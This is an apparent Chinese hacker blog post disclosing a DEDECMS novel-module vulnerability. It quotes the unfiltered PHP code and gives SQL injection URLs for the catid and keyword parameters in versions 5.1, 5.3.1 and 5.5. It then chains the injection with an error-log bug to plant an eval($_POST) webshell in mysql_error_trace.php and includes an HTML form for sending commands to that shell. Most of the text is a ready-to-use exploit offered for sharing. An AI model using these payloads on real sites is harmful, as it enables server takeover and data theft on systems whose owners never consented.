作者:st0p
由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块
首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') ";
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>
上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
DEDECMS 5.1
测试一,catid变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?catid=10') or ('st0p'='st0p
测试二,keyword变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%' or c.classname like '%st0p
DEDECMS 5.31
测试一,catid变量,地址如下
http://st0p:88/dedecms53/book/story_books.php?catid=10') or ('st0p'='st0p
测试二,keyword变量,地址如下
http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%' or c.classname like '%st0p
DEDECMS 5.5
测试一,catid变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?catid=10') or ('st0p'='st0p
测试二,keyword变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p%' or c.classname like '%st0p
看到了吧,这三个版本都存在,不过由于后来DEDECMS的版本对注入语句做了限制,注入的问题大家自己试吧,st0p就不讲了。
其实只要大家变通一下就可以拿到一些站的权限,记得那个MYSQL错误写进后缀为PHP的日志文件的BUG吧,5.1好像没有这个功能,5.31没打补丁的话是有的,如果打过补丁就会像5.5一样,把后缀名字改为了INC,所以虽然能写进去一句话马,但没法利用。。。可怜啊,要是偶早发现,就是通杀了。。。
DEDECMS 5.31
include/dedesql.class.php文件
//显示数据链接错误信息
function DisplayError($msg)
{
$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php'; //这里是PHP后缀
$emsg = '';
$emsg .= "
DedeCMS Error Warning!
rn";$emsg .= "
$emsg .= "
$emsg .= "
Error page: ".$this->GetCurUrl()."
$emsg .= "
$emsg .= "
echo $emsg;
$savemsg = 'Page: '.$this->GetCurUrl()."rnError: ".$msg;
//保存MySql错误日志
$fp = @fopen($errorTrackFile, 'a');
@fwrite($fp, '<'.'?php'."rn/*rn{$savemsg}rn*/rn?".">rn");
@fclose($fp);
}
......
include/dedesql.class.php文件
//显示数据链接错误信息
function DisplayError($msg)
{
$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc'; //后缀变成INC了
if( file_exists(dirname(__FILE__).'/../data/mysql_error_trace.php') ) //如果mysql_error_trace.php存在,删除文件
{
@unlink(dirname(__FILE__).'/../data/mysql_error_trace.php');
}
$emsg = '';
$emsg .= "
DedeCMS Error Warning!
rn";$emsg .= "
$emsg .= "
$emsg .= "
Error page: ".$this->GetCurUrl()."
$emsg .= "
$emsg .= "
echo $emsg;
$savemsg = 'Page: '.$this->GetCurUrl()."rnError: ".$msg;
//保存MySql错误日志
$fp = @fopen($errorTrackFile, 'a');
@fwrite($fp, '<'.'?php'."rn/*rn{$savemsg}rn*/rn?".">rn");
@fclose($fp);
}
......
看了上面的代码,我们明白了吧,5.5和5.31打过补丁的都会变成这样,没法利用了,我们说一下5.31可以利用时的方法。
利用方法为
http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%'*/eval($_POST[st0p]);?>
嘿嘿。这样我们就得到了一个SHELL
一句话地址为http://st0p:88/dedecms53/data/mysql_error_trace.php
我们直接POST提交数据就行了,DEDECMS 5.5的利用是一样的,不过因为代码了处理,所以生成的文件后缀是INC,就没有用了,下面是用来提交的HTM代码,只需要把下面的表单地址换成你的可以了
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="st0p,st0p.org" />
<title>st0p一句话提交</title>
</head>
<body>
<!--http://st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址-->
<form id="form1" name="form1" method="post" action="http://st0p:88/dedecms53/data/mysql_error_trace.php">
<p>
<label>
<textarea name="st0p" id="st0p" cols="45" rows="5">echo phpinfo();</textarea>
</label>
</p>
<p>
<label>
<input type="submit" name="button" id="button" value="提交" />
</label>
</p>
</form>
</body>
</html>
当然小说连载模块还有别的文件也存在同样的问题,下面的几个文件都存在
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php
本来想过不发布这个0DAY的,嘿嘿,不过偶想多交点牛X点的朋友,共享信息,所以就决定发出来了,以后就少发一些吧。。。
有问题大家可以在我的BLOG讨论!
只显示10条记录相关文章
“幸福百相园”相册GETSHELL漏洞 (浏览: 35446, 评论: 0)
dedecms默认的注册用户 (浏览: 12969, 评论: 0)
dede织梦的又一个代码执行0day (浏览: 13763, 评论: 0)
分享一个判断dedecms版本的方法 (浏览: 16391, 评论: 0)
dedecms v5.3-v5.6 Get Shell 0day利用分析 (浏览: 37601, 评论: 0)
DEDE 暴文件源码AND获得后门GetShell漏洞 (浏览: 22241, 评论: 0)
dedecms 5.6 RSS订阅页面注入漏洞 (浏览: 11172, 评论: 0)
这难道就是传说中的:dedecms 5.6的最新注入漏洞 (浏览: 10280, 评论: 0)
DedeCmsV5.6 本地包含 鸡助0day (浏览: 18108, 评论: 0)